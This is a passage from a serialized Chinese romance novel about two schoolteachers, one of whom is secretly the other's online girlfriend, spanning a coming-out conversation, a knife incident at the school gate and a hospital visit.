两人视线忽然在后视镜对上,坚定和无措碰撞在一起,林筝墨浑身不自在极了。忍不住要去看还有多久到家,可简越开车开得好慢。 “可是我想和你说。” 林筝墨叹气:“那您说吧。” “我对赵筱筱谈女生没有意见,主要还是早恋问题。” “嗯,我知道了。” “我对女人和女人恋爱也没有意见。” 林筝墨心跳迅速跳动起来,已经到了完全不能去看后视镜的地步,她迅速避开视线。 即便聊天已经到了这个地步,她都没有怀疑简主任性取向方面,而是聚焦到自己。 思索着,是否简越知道了些什么? 难道简越从自己的行为里窥探出一点端倪?因为帮赵筱筱说话所以身份暴露了? 也对,简主任那么聪明,未必然不知道。但性取向公之于众是林筝墨最不愿意的事情,不免心急起来。 下一秒就要恳求简越保守秘密。 不料对方说的却是:“因为我也不喜欢男人,我喜欢女人。” “啊?”林筝墨猛然抬头,心头那根弦“梆”的一声拉扯断了,她忽然觉得耳边的风声好大,世界变成了一个漩涡,将她和遥远的简主任绑在一起,原来她们是同路人,“你喜欢女人?” “对。” “那张老师那边?” “敷衍一下,假的。” 林筝墨依旧回不过神来,不可置信道:“没有给我开玩笑吗简主任?” “这件事好笑吗?” 林筝墨不语,诚然没有人会拿自己性取向开玩笑。 “小林,帮我保密好吗?” “好”林筝墨终于鼓起勇气,透过后视镜偷看简越一眼,不料两人视线再次撞上。 原来简越一直透过后视镜看她。 简越在笑,眼底流露着迷人的光芒。 林筝墨迅速转移视线。 见鬼了。 觉得简主任的气质一下子就变了。 先前是:很想结婚生子且没有男人会死的上司。 现在是:笑起来很好看眼神迷人气质绝佳的姐姐。 林筝墨揉揉眉心,头疼。 这信息太炸裂了,她缓不过来……—— 作者有话说:林筝墨:我缓不过来……[爆哭] 简越:可能还有更缓不过来的事[彩虹屁] 【以下是甘师傅加更机制】 1.营养液每增加500 加更一章 2.评论每增加200 加更一章 第25章 第二十五章 林老师她是…… 第二十五章 林筝墨到家的时候浑身轻飘飘的, 跑了一天学生的事没觉得累,倒是简越那段话让她头晕目眩,余温久久散不去。 在玄关处换鞋,泡泡从猫窝里跳出来, 轻蹭林筝墨的脚踝。 林筝墨蹲身, 在毛茸茸上揉了一把, 自言自语道:“猫好人坏猫好人坏,小猫咪才从来不会撒谎呢。” 泡泡低声娇滴滴地叫, 表情妖艳的在林筝墨掌心蹭来蹭去。 林筝墨抱起它, 一人一猫径直往沙发上一躺,腾出一只手抚摸猫咪,另一只手查阅信息。 有看到啊啊啊的留言。 内容是某众点评, 一个餐厅的分享。 林筝墨回复她:【怎么啦?】 啊啊啊:【见面那天我们去吃吗?营业到晚上。】 林筝墨:【好啊。】 林筝墨:【所以什么时候见面?】 那句“所以什么时候见面”,斟酌了一下,又删掉了。 啊啊啊正在输入中。 林筝墨盯着聊天框, 思绪飞远了,飞到了窗外, 树荫里, 楼下的电动车, 以及简主任身上,她还在想简越说的那些话。 啊啊啊忽然跳出一句:【我们见面吧。】 林筝墨思绪瞬间跳出来, 挺直了腰板, 不敢懈怠, 用两只手打字。 【真的吗?】 【下周吧?怎么样?】 【可以!】 简单几句,又重新点燃了林筝墨的热情,简越的事情抛之脑后,两人就着见面的事宜聊起来。 啊啊啊:【下周二晚上, 我在学校门口等你怎么样?】 林筝墨看了眼课表,她那天晚上要监考,但没关系。 林筝墨:【好啊,我们打电话说吧?】 这是一件期待了太久太久太久的事,以至于电话接通的时候,林筝墨的呼吸都不似平日那般平稳。 “怎么不说话?”啊啊啊用着一贯的冷静腔调。 “我”林筝墨一只手压住胸口,“我怎么开始紧张起来了?” 与啊啊啊见面这件事,就像去吃一家排不到队的美食餐厅,真正可以入座的时候,反而觉得不真实起来。 啊啊啊在听筒那边笑,笑声像清澈的水,淌过林筝墨的心间。 “我也紧张。”但啊啊啊声音却是欢悦的:“但也安排好了,你要不要听听?有没有什么可增可选的项目?” “好。” “第一次见面稍微简单一点,晚自习放学后,我在校门口等你。我分享的那家餐厅十二点才关门,我们去吃个饭吧,然后我去你家过夜?” 言简意赅。 过夜是林筝墨之前提的,只是稍微委婉了些,说做个饭留下来一起聊聊天。现在改为在外面吃饭,回家睡觉,就显得非常大胆且直白了。 两人在网络上聊得如此火热,线下当然不可能躺在一起数星星那么简单。 林筝墨脸颊忽然滚烫起来,一些耀眼的画面在脑海里闪过,啊啊啊发的那些照片她对啊啊啊说过的那些话,如若场景换在她家的床上,那恐怕是要来一场世纪大地震了。 不能再往下想了。 林筝墨承认自己理论知识还算丰富,但实操起来应该会非常青涩。 “可以。”林筝墨窝在沙发一角,声音也变得软甜:“那我需要做什么准备吗?” “准备好亲我呀。”啊啊啊仿佛是开玩笑的语气:“你会逃跑吗?” “我为什么要逃跑。”林筝墨的指节无规律地摩擦着手掌,小声说:“为什么是我亲你,不是你亲我。” 甜腻腻的话语因为要见面反而自然起来,两人一句追一句,句句升温,很快又陷入听筒的迷幻情l欲里。 “要看泡泡吗?” 啊啊啊笑得很开心:“嗯。” 后半夜,一些你来我往的网络挑l逗拉开序幕…… * 第二日,简越无精打采上班,正好碰上了一脸倦容的林筝墨。 同时惊讶于对方气色怎么这么差。 林筝墨:“简主任昨晚没睡好?” 简越看着林筝墨,心想,昨晚你给我说那些话,发那些照片,我能睡得着吗?煲了整整三个小时的电话粥,嘴巴讲得又干又涩,倒是有些地方下了一整夜的雨。 “嗯,看消防文件呢。” “看到半夜?”林筝墨是有些惊讶的,那文件不过只是十几页PDF,值得简主任夜夜揣摩吗? “对啊,那个消防文件很难研究啊。”简越撂下一句莫名其妙的话,“我先去办公室了。” 林筝墨目送简越进办公室,也不管对方说话如何无厘头,总之心情雀跃。 开心。 要和啊啊啊见面了! 看什么都是顺眼的! 清晨办公室比较安静,期中考试已过,老师们好不容易得来喘息,隔壁赵老师过来与林筝墨搭讪。 “林老师早,喝咖啡吗?” “早,不喝。” 赵铭一只手撑靠在办公桌上,另一只手握着某幸咖啡,瞅着林筝墨笑。 “手好啦?没什么问题了吧?” “好了。” “哎你是不知道,那天简主任打电话给我多着急。”赵铭话唠一个:“我还以为她家人出什么事了呢,百米冲刺给她挪车。” 赵铭这话倒是提醒林筝墨了,其实她还没好好谢过简主任,最近这段时间为简主任添不少麻烦,得找个空闲好好谢谢她才行。 “那天确实辛苦她了。”林筝墨说。 “诶,对了,简主任下个月组织的爬山活动你要去吗?在西山,周末去,一共两天,我看了一下活动内容和酒店之类的,真的还不错。” “我去吧。” “诶~”赵铭露出笑意,“这就对了!那我帮你报个名啊~” 就算赵铭不问,林筝墨也去的,总归是要参加那么一两次活动,不然显得很不合群。她觉得爬山比吃饭有意思,吃饭的话他们要喝酒,林筝墨不喜欢。 “好,谢谢赵老师了。” “别这么客气!”赵铭两手一挥,刻意加了句:“咱们报了名就不许取消了啊!” 林筝墨挤出笑敷衍他:“嗯,我一定去。” 上午只有最后一节课,所以前面两个小时林筝墨都比较闲。办公室嘀嘀咕咕,偶有老师在交流,林筝墨游神中,没兴趣加入那些闲碎话题。 闲来无事,她从抽屉里摸出MP3. 时日渐近,现在她一天可以听2-3首。 挂上耳机,点开目录“40”,沉浸在自己的小小世界里。 耳机里传来呲呲啦啦的声音,先是沉默,林筝墨仔细检查了一下,发现进度条是在走的,还以为自己耳机坏了。 大概几秒之后,才听见啊啊啊的声音。 “亲爱的林筝墨,今天依旧下雨,不知道你听到这首的时候,天气如何呢?现在是第四十条。不知道前面的那些碎碎念,有没有让你觉得冗长又无聊呢?” 林筝墨想说,没有,非但没有,听MP3已经成为她的习惯,现在没剩几条了,反而不舍起来。 “总之,当你听到这里的时候,意味着我们很快就要见面了。” “尽管很不想表现出焦虑,但这种情绪确实伴随着我的心情。以我对自己的了解,一定已经订好餐厅,安排好当天的事情。想象中见面应该是在学校门口,等你下班,我们去吃顿饭。所以我是这么安排的吗?” 林筝墨听到这里,唇角漾着笑。她还挺喜欢这种时空交错的对话。 是啊,你是这么安排的。你很了解我,也很了解你自己。 “不过,林筝墨,我真的好焦虑。”话音里,啊啊啊叹了口气:“心里依旧犹豫,开始害怕起来。你一定又要说那句:你不在意我的外表。可是我想说,我不怕你因为我的外貌而拒绝我,我怕你因为落差感远离我,今天依旧是焦灼的一天,不知道见面会是什么场景。” 林筝墨觉得,独白40,是啊啊啊唯一一条充满焦虑的录音。隔着耳机都能感受到对方的情绪。 她继续听: “不知道如何表达现在的心情,觉得有时候对于珍贵的东西更加小心翼翼。也会问自己,这么做是不是对的。我承认自己对这段感情有些贪心,应该说在关于你的事情上,我一直都非常贪婪,像个赌徒,要去拿最大的筹码。林筝墨,还是那句话,你的名字太特别,没有这个名字,我们就无法进行到今天这一步。” 末尾她说: “告诉你一个秘密,你告诉我你叫林筝墨那天,春节刚好过去。记得那天收假归岗,我一个人坐在办公室里,走廊里忽然传来脚步声,隔壁办公室的女同事从窗前走过去,那时南城的小雪还没停,忽然就爱上了冬日末尾的天气。” 咔—— MP3跳到停止。 这次的独白连结束语都没有。 林筝墨捏着耳机线,眼神凝视着半空,她觉得啊啊啊在给她打哑谜,有些话好像听懂了,又怎么都不懂,那些密密麻麻的话语,如同一片迷雾森林。 MP3里说: 春节收假。 她一个人坐在办公室里。 忽然就爱上了冬日末尾的天气。 觉得没有太大关联的几句话,似乎又意味着什么。 林筝墨抬眼,看向办公室的窗外,此刻已是初夏,天气明朗,阳光宁和,温暖的光影落在玻璃窗上,像清亮的水波在空气里晃荡,恍然间,一道身影忽然出现在林筝墨的视线里。 恰巧,是爱看消防文件的简主任路过了 * 【营养液加更】 * 简越从林筝墨办公室门口走过,牛仔裤里的手机连续“叮咚叮咚叮咚”三次,意味着置顶的那个人连发三条消息。 初晨的阳光落在简越的脸上,流畅的五官线条聚焦于下颌,清秀而柔美。有人曾经夸赞简越:老天真是一点也不吝啬,一定在你脸上多画了几笔,才让你五官这般明艳。 她今天心情大好,除了昨晚电话粥事件以外,先前发现,林筝墨居然偷偷在办公室听MP3,那副旁若无人的模样实在呆得可爱,恨不得冲进去在她脸上揉一把。 “叮咚叮咚叮咚。” 又是三条消息。 简越在走廊尽头驻足,六条信息一并查阅。 【早上好。】 【我听了MP3。】 【听到第40了。】 【有一件事一直搞不明白。】 【你总说我的名字对你来说很重要。】 【到底是什么意思?】 简越半身靠在阳台,两手握着手机,凝视着屏幕上的话语,忽然想起四个月前的心情。 独白40所说的内容,她还记得。 连具体到哪一天都记忆犹新,是2025年2月13日,元宵节的第二天。 那一天,简越微信小号忽然收到一条信息,内容是:我还不知道你的名字呢。 那时她和林筝墨在网络上的关系不错,但只是纯友谊,两人都没想往那方面发展,尤其是简越,她对网络上的人一并不感兴趣,她现实里有心仪的人,那个人就是林筝墨。 简越对林筝墨的喜欢,早就诞生于一百个世纪以前,准确来说,在林筝墨刚来南中的第一天,简越就注意到了这个人。 白裙子,黑发披肩,一张冷淡柔美的脸,瘦而美丽,很难让人不多看一眼。 不相信一见钟情的人刻意压抑了这种感情,可往后的时日里,依旧一发不可收拾,她太关注林筝墨,太关注。总是远远地观察她,观察她如何上课,如何回家,如何一个人拎着电脑包步伐匆匆。 林筝墨是沉浸在自己世界里的人,简越是她的世界的狂热追踪者。 她情不自禁,难以抑制,无法自控地被林筝墨吸引了。 但她不可能戳破这份暗恋,她才不要吓到隔壁这位斯斯文文的同事。 这种暗恋是没有根系的种子,不会发芽的,简越早就做好烂在心中的准备。 转折点就是那天,她在网络上收到那句:我还不知道你的名字呢。 简越回复:我叫李芳。 老实巴交的林筝墨说:我叫林筝墨。 林。 筝。 墨。 唰的一声,简越的皮肤泛上热潮。 那瞬间,简越觉得老天爷应该是在和她开玩笑。她和林筝墨相识于一个人海茫茫的考编大群,因为自己考编制有一套,林筝墨主动加她好友,向她取经,她毫无保留传授经验给她。 然后林筝墨迅速上岸,得到了这份工作。 她有一种感觉:是她亲手把林筝墨送到自己身边的,缘分真是一种玄妙的东西。 群里有上千个人,林筝墨偏偏找到她。考编制的学校有那么多,林筝墨偏偏要考到南中。而她对那么多人不感兴趣,偏偏要被林筝墨吸引。 她们就是天造地设的一对,是命运交缠的轨道与车。 简越记得很清楚,她花了好几分钟平复自己的心情,克制地发送:啊,你真的叫林筝墨呀? 林筝墨毫无保留,傻乎乎的,直接发来一张马赛克到只有名字的身份证照片,上面清晰写着三个惊艳的大字。 那绝对是全世界最漂亮的名字! “身份证都这么写的,我难道还骗你吗?李芳!” 自那以后,简·李芳起了歹心,攻略林筝墨计划正式开启。 她们的网络关系迅速发生化学变质,所谓的不可能网恋这条定律,也彻底被打破。 简越从回忆里拉回神思,看着屏幕上的问句,回复道:【为什么你的名字很特殊啊,我不告诉你。】 林筝墨:【怒jpg.】 林筝墨:【不和你见面了!】 简越:【真的呀?】 林筝墨好半天没回复,最后嘟哝了一句:【不和你玩了!】 简越:【摸摸jpg】 简越:【等见面之后面对面告诉你。】 也只是小情侣之间的打情骂俏罢了,林筝墨也不深究,啊啊啊既然说见面再说,那她愿意等待。 上午十点半,林筝墨开始忙自己的事情。 最后一节课到高一一班讲试卷。 自上次赵筱筱小巷碰碰嘴事件之后,她上课再也没敢睡觉,似乎为了爱情,瞌睡神瞬间从她灵魂里飞走了。 同班的同学发觉她的异常,大家暗中努力起来,不敢掉队,上课走神的人明显变少了。 一节课一瞬而过,放学铃响起前一分钟,林筝墨已经打停。她知道有些学生要去食堂抢饭,早十秒钟就要少排很对队,没耽搁他们。 “下课吧。” 轰隆一声,桌子板凳发出吱吱咯咯的声音,有些人上一秒还见影儿呢,下一秒都到楼梯口了,午间抢饭速度能打过刘翔,计时器如果放在食堂的路上,准能打破吉尼斯世界纪录。 林筝墨慢条斯理收拾电脑包,赵筱筱慢悠悠凑过来,两人闲聊: “林老师林老师~” “怎么啦?”林筝墨眼含笑意,她喜欢赵筱筱的活泼可爱。 赵筱筱居然害羞地笑了笑:“上次谢谢你啊,不是你的话,简主任要给我处分了。” 林筝墨大概也知道赵筱筱是来说这个的,却也不知道怎么接话。 没给处分固然是好的,但早恋也不太好,她不能和赵筱筱太深入这个话题。 “嗯,那你要继续保持最近的学习态度。” “一定!”赵筱筱从书包里摸出一个盲盒来,递给林筝墨:“嘿嘿~林老师,最新款,送给你~” 又是PPMT,她还在倒卖呢? “放心吧,我们没卖了,这是我去商场买的,觉得你会喜欢。” 林筝墨不敢收,赵筱筱却执意要给她,那是一个可可爱爱的卡通人物,林筝墨推脱不下,便也收下了。 教室里的人走掉一大半,俩人一同出教室门,随便又聊了几句。赵筱筱说,沈礼萍的妈妈恢复得不错,奶奶还是在卖凉面。生病的开支医保有报销,还要特别感谢一下简主任,替她们跑了不少流程,拿到一笔政府补贴,每个人一个月400块,一家人一月就是1600。加上奶奶卖些凉面,每天有点收入,日子勉强能过下去。 林筝墨听得又心酸又感动。 她觉得简越确实是个好人,是那种具有超强共情力的老好人。 赵筱筱:“其实简主任人挺好的。”——简越每天忙东忙西,什么事都要管,早出晚归的,赵筱筱最清楚不过了。 “是。”这一点林筝墨不否认。 “简主任,她就喜欢默默做好事,就是有时候费力不讨好了点儿。”赵筱筱嘟哝道。 林筝墨有点诧异,诧异赵筱筱有这样的觉悟,毕竟那天简越对她很凶,还以为这孩子会对简越有几分意见呢。 “咦?”赵筱筱瞅着校门口的方向,“那边在干嘛啊?” 林筝墨往校门口看去,发现一群人簇拥在一起,隐约还听见警车的鸣笛声。现在正是放学时间,听到这声音可不是什么好事。 太阳穴隐隐跳动着,好奇心驱使着林筝墨的步伐快了些,赵筱筱同她一路小跑过去。 越来越近了,学生全在围观,保安和老师在组织纪律,让他们别嚷嚷。可喧哗还是塞进耳朵里,零零碎碎听到一些信息: “不知道啊。” “北中的吧,估计是故意蹲人的。” “社会哥。” “刀子一亮就出来了。” “不是,是他要捅她!” “然后简主任她” 赵筱筱耳尖,迅速捕捉到关键信息,一听到简越,心脏重重跳了一下,拨开人群,一眼看到沈礼萍,忙逮着她问:“发生什么了?简主任怎么了?” 沈礼萍眼睛泛着泪光,声音嗫嚅又不确定:“我来的时候他们说简主任身上有血,其它的我不知道。” 环顾一周,简越不在现场。 “啊???”赵筱筱一声惊呼,迅速窜进人群里,嘴巴噼里啪啦放着鞭炮:“怎么了怎么了怎么了!有没有人告诉我怎么了!!” “简主任被捅了。”有人说。 “胡说,她没被捅!”有人又说。 “你眼瞎吗?她被救护车带走的时候身上全是血,这不是被捅了吗?” “情况有点复杂,被捅的好像是那个男的。” “放屁,简主任疼得浑身都是冷汗你瞎了吗?是那个男的捅了简主任!” 说话的女生捂住耳朵,竟然哭出声来:“你不许说简主任被捅了!你不许说简主任被捅了!” 简越虽然在年级上很有威严,但学生们暗地里还是很喜欢她,虽然平日不会主动表达喜爱,但依旧无法接受自己喜欢的老师被人捅了一刀。那女生一哭,共情力超强的群众一并呜呼起来,场面一度崩溃,以至于哭声越来越大,最终不知道到底是谁捅了谁。 赵筱筱没获取到准确情报,却也是惊出一身冷汗,她回过神来,想让林筝墨帮她,一转身,发现林筝墨站在一个角落里打电话。 林老师 她是在哭吗?—— 作者有话说:加更奉上 感觉这个趋势明天还要加 自己挖的坑自己填 掐人中jpg. 第26章 第二十六章 掉马x2?还是间接接吻?…… 第二十六章 有时候人不一定是最了解自己的人, 譬如不懂为什么忽然开心,忽然悲伤,忽然落泪。 林筝墨此刻就处于这种情绪中。 她应该是最先听到“简主任”这三个字的人,早于赵筱筱之前, 而这三个字搭配上“被捅了”, 那是多么令人难以接受的一句话。 只觉得心口很闷, 像是那把刀剜进了她的身体里,待到回过神来时, 泪腺开关已经打开, 四面的光景变得模糊。 她给简越打电话。 微信语音里的“噔噔噔噔噔噔”,显得如此漫长,脑袋里浮现出学生说的那些场景。 浑身是血。 有刀。 被救护车带走 “喂?”听筒里忽然传来简越的声音。 “你还好吗?”林筝墨抑制住哭腔:“我在学校门口, 听学生说你出事了。” “啊?没有啊。”简越语调还算平稳:“但我确实在救护车上呢。” 背景音:“老师,麻烦抬一下手,我给你包扎一下。” 林筝墨:“你去哪个医院?” 简越:“二医院, 但不严重的,你别担——” 嘟。 电话已经挂断。 赵筱筱凑过来, 慌了神:“林老师, 简主任还好吗?她” 她死了吗? 她死了我就没姐了! 说着说着赵筱筱就哭出来。 林筝墨眨了眨眼, 将自己的泪光泛回去,“没事, 她还好, 我去一趟医院。” “带上我!!” * 与此同时, 救护车停在二医院门口,担架抬下来一个男生,他一只血手悬在空中,喉咙沙哑却不停嘶吼:“让我死!让我死!” 简越无视他, 看着手心的纱布,侧目望向旁边的女学生。 “你还好吗?” 女生脸色泛白,颤抖地点点头,又摇头,清澈的眼睛里噙满了恐慌,想说点什么,没忍住,才憋回去的眼泪啪嗒落下。 简越用没受伤的那只手去安慰她,将她揽入怀中,轻轻拍着,“没事了,没事了。” 女孩儿靠在简越怀里,眼泪很快打湿了她的衣领,低声哭泣:“对不起简主任,对不起简主任。” “没事没事”简越声音越发柔和起来:“你是受害者啊,不要对我说对不起。” 应该庆幸这个女生没有事。 起因是,北中的这个男混混喜欢这个女生,不为别的,就因为女生漂亮。示好过几次,女生一直拒绝。男的不死心,昨天带上自己的一群兄弟,在校门口再次求爱。 女生不堪其烦,非常直白地拒绝了。 原话是:我不打算谈恋爱,而且就算要谈,也不会是你这样的。 男的觉得自己丢了面子,又不好当着兄弟的面发火,讪讪离去。途中越想越气,想回头报复,人影子都没了,于是今天中午专程到校门口蹲点。 放学时撞见,女生看到他就直接绕道而行,可男的却怼上来,先问了句:你到底和不和我谈?别给脸不要脸。 女生愠怒,骂了他一句神经病。 男的破防,屁股兜摸出一把小刀,要当众找回自己的尊严。 他其实不打算捅她,他压根不敢,那只是一种虚张声势。他以为女孩儿会吓到,结果女孩儿吃定了他不敢,让他滚开,说他恶心。 男的心想,你还敢骂我?赶鸭子上架,不捅也得捅了。 恰逢简越从校门口出来,那时已经有几个学生在围观,有人吓得去叫保安。简越远远一瞅,这还了得,明晃晃的一把刀太可怕了! 她先是一声呵斥,转移了男的的注意力,接着连忙冲过去,顾不得那么多,一把将刀子握在自己手里。 小刀捏在手里,简越是钻心的疼。 但简越也怕。 怕自己晚一秒钟那刀子就冲到学生身体里。 男的力气大,和简越周旋起来,刀锋在简越掌心走了一转,鲜血淋漓。 简越忍着疼,连踹它三脚。得亏平日健身,力气不小,男的摔倒在地,发现伤害不了别人,脸还丢大了,气急攻心,竟然逮着自己开始下手。 又是抹脖子又要割腕,还扇自己耳光,把自己搞得浑身是血。 简越忙着疏散学生,校安保那边早就打了120,一公里开外的医院的救护车迅速抵达,把人接走了。 “让我死!让我死啊!!!”此刻男的还在车上嚎。 医护拧了一下眉头,“你消停点吧。” * 林筝墨快步行走在医院的廊道上,消毒水气味毛辣辣地刺激着她的喉咙。 旁边跟着个赵筱筱,哭哭啼啼念叨着:“急诊室急诊室急诊室在哪里……”脚尖忽然一顿,“林老师,这边!” 科室里摆着几张病床,有人在打吊瓶。简越平躺在床上,一只包扎过的手悬在半空,另一边还在接电话。 “我没事,张主任那边就不要过来了。” “学生让赵铭送回去了。” “她吓坏了,安慰一下她吧。” “我真的没事。” 还能打电话,还能笑,除了手,其余看起来无碍。 林筝墨吊着的神经终于松懈下来,后知后觉自己先前反应好大。以她和简主任的交情,好像也不至于慌张成这样,但她确确实实下意识来到了这里。 赵筱筱走在前,冲进去关心简越。简越对于两人的到来感到意外,毕竟先前林筝墨也只是挂断电话,没说要来。 简越这边挂断电话,抬眼望向两人。 “发生什么了简主任?”林筝墨站在床前,只敢用眼睛关心简越,饶使内心翻涌,表现出来的情绪就要平淡许多了。 她见简越手掌缠绕的纱布有渗过血的痕迹,琢磨着情况应该不是很乐观。 “已经没事了。”简越没有赘述,大致说了一下过程,听得林筝墨胆战心惊。 怎么会有人徒手捏小刀! 转念心想,可能当时真的是紧急吧。 没一会儿,护士那边拎过来一袋药,让简越回去定期更换纱布。至于另外那个男学生,已经通知对方校区和家长。 公事公办,该给处分的处分,该赔医药费的赔医药费。 “呜呜呜——”赵筱筱心有余悸,满眼湿泪:“姐,吓死我了!我还以为你要死了!我还以为你要死了!” 说着扑进简越怀里,鼻子呜呜啦啦开着火车。 简越轻轻挠了一下赵筱筱的后背,提醒她注意措辞,结果人家软虫似的往简越怀里钻,哭哭啼啼蠕动着,止都止不住。 “姐,哇哇哇哇哇——” 简越心想,别叫我姐!你看不到旁边站着个谁吗! 赵筱筱情绪上来,哪里顾得上这些,充耳不闻:“姐,姐,我的姐!” 生怕全世界不知道简越是她的姐姐。 简越没办法对她生气,只能拍她后肩,“好了好了,不哭了。” 林筝墨木讷在一旁,寻思着简主任怎么是赵筱筱姐姐了?再一看,发现简越表情有些尴尬,瞬间了然。 啊…… 原来是这样? 所以那天在小巷的事好像解释得通了,赵筱筱每次看到简越都鬼鬼祟祟的也解释得通了。 原来她们竟然有血缘关系么! 啊。 好尴尬! 简越从林筝墨的表情也探出几分端倪,并不辩解,算是默认。 “林老师,过来坐。” 她拍了拍病床的空白处,邀请林筝墨过去。 林筝墨站在病床边,忽然有些无措。实话说,她觉得自己不应该出现在这里,但还是坐下了。 赵筱筱哭完,肚子开始闹饥荒,眼见早就过了午饭时间,提议道:“我去买饭吧!” 简越心想,这孩子也是越来越上道了,“去吧。” 赵筱筱两手一摊,“我没带手机啊。” 也没现金。 她在学校几乎不花钱。 简越没多想,把自己手机递给赵筱筱,同她讲了支付密码。 赵筱筱捏着手机屁颠屁颠离开了…… 筱筱前脚一走,病房瞬间安静下来。 不善言辞的林筝墨陷入尴尬状态,她其实想关心简越,但怎么都说不出口,还很害怕一件事,比如简越问她为什么来这里之类的,根本不知道怎么回答。 “林老师怎么来这里?”简越含笑。 想啥来啥。 林筝墨脸颊迅速升温,喉咙烧得厉害。 总不能说……我当时很担心你吧? 其实,实话实说也罢,但一想到简主任也喜欢女生,林筝墨就怎么也开不了口。所谓的直女骚话满天飞,姬佬句句要斟酌,不过如此。 “是赵筱筱要来的。” “哦,这样。”简越声线明显降了一个度。 林筝墨低头,视线落在简越的手上,没忍住还是关心她:“所以你手疼吗?” “挺疼的。”简越害怕程度不够,添油加醋起来:“超级,那把刀又锋利,我捏紧了,他一旋,我掌心直接皮开肉绽,现在觉得骨头都要裂开了。” 虚言。 没有的事。 肉眼可见林筝墨眉头皱了起来,也顾不得尴尬不尴尬,直言:“我看看呢。” 简越强迫自己表现出苦闷状,伸出手。 那裹着纱布的手像一个白色粽子,笨拙又可爱。 林筝墨牵过去,稳稳落在掌心,纤细的手指轻轻握着,指尖的温度传递到简越手上去。 她其实也看不出个所以然来,只是摊在手心端详。 林筝墨看简越的手,简越便看林筝墨。看林筝墨蹙眉时的神态,看她的眼睛,看她眉毛的弧度,根根分明。实在哪哪都可爱,越看越喜欢,简直想戳戳她的脸。 “所以这手是不能用了吧。” “啊,应该很快能恢复吧。” 林筝墨抿唇,“下次还是不要做这么危险的动作了吧。” 她确实很善良,有强烈的同理心,仿佛简越的痛苦都过渡到她的手掌心,心里特别不是滋味。 白色粽子笨拙地抬了一下,又搁在林筝墨手上,林筝墨轻轻握着她的手腕,指节和肌肤触碰在一起,两人同时僵了一下。 其实也只是非常普通的接触,就算是普通同事,稍微热心一点的也能有这样的动作。 可就是怪怪的。 林筝墨还是不着痕迹地松开手,小声说:“不知道赵筱筱什么时候回来。” 还好有赵筱筱,不然都不知道怎么办了。 有种淡淡的无措以及尴尬,究其缘由还是觉得不合适,不合适出现在这个地方,她和简越的交情还没到这个地步。 “不知道啊,她去了好久。”简越道。 * 【评论区加更】 * 赵筱筱一路跑跑颠颠到了医院门口,街对面有几家小炒,她知道简越喜欢吃什么,准备去点几个菜。 先前简越同她说了解锁密码和支付密码。 所以赵筱筱点好菜后,解锁手机,来到支付环节,她发现进入钱包居然不需要手势密码,老板拿出扫码槍上,“滴”的那瞬间,扩音器说:“顾客支付失败。” 咦? 赵筱筱低头看了眼手机,点进钱包,发现余额为零,也没有绑定银行卡。 退出去,忽然发现不对劲,这不是简越的号啊。 这个号是黑色的头像,ID也很简单,叫“1”。 而简越的号明明是一张明媚的天空,ID是个英文名。 赵筱筱:??? 老板一无所知:“姑娘,刚刚我是不是网卡了?你再扫一下呗。” “哦哦!”赵筱筱迅速点开设置-切换账号,果然找到了简越的大号,成功切换,最终付了款。 后厨开始喷射火焰,铁锅颠来颠去,乒铃乓啷地响,爆炒辣椒的香气四溢,原本饥肠辘辘的赵筱筱却在游神。 她忽然对美食失去了兴趣 啊 好烦! 好奇心像藤蔓里的蛇,悄悄吐着蛇信子,轻轻在她心尖舔舐,让她想犯罪。 表姐有小号! 表姐有小号! 表姐有小号! 不能看! 不能看! 不能看! 好好学生怎么能干出这种伤天害理的事情?窥探她人隐私最可耻了! 但话又说回来—— 我是好学生吗?我要脸吗?我明明是无耻之徒啊。——赵筱筱自问自答,瞬间有了答案。 设置-切换账号-来到先前的界面。 也许简越是忘了切号了,直接把手机给她。赵筱筱大概能猜出来,表姐应该是用这个账号和她的网恋对象聊天的吧? 那个丑男,那个河童。 简越从来不给她看,她今天倒是要一探究竟! 切号之后发现,ID叫“1”的这个账号,居然只有一个好友,这个好友的备注是M,M的头像是一幅插画,上面是一只白色的蝴蝶。 赵筱筱总觉得这个头像很熟悉,忽然灵光一现,噢!在林老师的课堂上看见过! “爆炒肥肠一份儿!!”老板大嗓门在赵筱筱耳边回荡着:“还有水煮肉片一份儿!” 赵筱筱沉浸在自己的世界里,眼睛鼓得像皮球,眨也不眨一下,世界像耳边的水油混合物一样炸裂!!没几秒,她的嘴巴变成了大大的“o”. 她只看了一页。 一共就九句话,她没有往上翻,但她确定,这个人是林筝墨,而另一个人是简越,而简越在用小号钓林筝墨,傻乎乎的林老师还不知道表姐的身份呢。 赵筱筱迅速从聊天记录中切出来,没看到太露骨的内容,但早就脑袋晕晕,怎么信息比数学最后一道大题还多。 脚底虚浮 软绵绵。 表姐和林老师 “小姑娘你的菜好了。”老板拎着一个口袋笑眯眯递给她。 赵筱筱软绵绵接过,有气无力说了句:“谢谢。” 老板好心问她:“你不舒服吗?” 赵筱筱摇头,“我没事的阿姨,有时候舒服过度也是这个表现。” 老板:“?” 不懂年轻人了。 * 林筝墨和简越等了好久,等到肚子都饿得麻木,赵筱筱才慢悠悠提着菜进来。 “怎么这么久?”简越问她。 “排队的人太多了。”赵筱筱将手机递给简越,界面是大号的内容,表情自然到与往日无异。 顶级小偷,不露声色。 她拆开包装:“我点了一个辣的,一个不辣的,一个青菜,应该够我们吃了。”赵筱筱将筷子递给林筝墨,又给到简越,发现简越受伤的那只手正好是右手,不方便吃饭,于是脱口而出:“林老师你喂简主任吃饭吧。” 简越:“?” 林筝墨:“?” 赵筱筱讪笑:“我好饿啊,我真的好饿啊,吃完我要回去上课了。” 说着打开盒子的塑料盖儿,闷头干饭。 简越小声啧了一声,提醒赵筱筱不要不识趣,喂饭这种事怎么可能让林筝墨来做。 赵筱筱聋了似的,头也不抬一下,吃得可香,还一个人哼起了歌。 “没事,我喂你吧。”林筝墨慢条斯理掰开筷子,拿过一盒白米饭,摊在手心,问简越:“你吃什么?” 简越心跳加速几拍,让林筝墨喂她吃饭这件事,特别难为情。 她从小就很独立,2岁就会自己吃饭,自此以后再也没有麻烦过任何大人,在简越的世界里,这件事已经剔除她的日常生活。 而现在,她的女朋友要喂她吃饭。 啊 她又不是小宝宝。 “她喜欢吃这个。”赵筱筱帮简越回答了,“你直接喂她就行。” “好。”林筝墨夹起肉丝,拢了一小口米饭,一并递到简越嘴边,温声细语道:“吃吧,简主任。” 简越脸颊浮起一丝红晕,她看着林筝墨,注视着林筝墨清澈的眼睛,忽然觉得很不自在。 可是,又不能表现得太明显。 耳尖悄悄晕开了晚霞,天又黑了。 “快点儿,别磨叽,喂你吃了林老师还要吃呢。”赵筱筱催促道。 简越心中竖起一把刀,简直想把这个赵筱筱砍成碎渣!! “来吧。”林筝墨催促她。 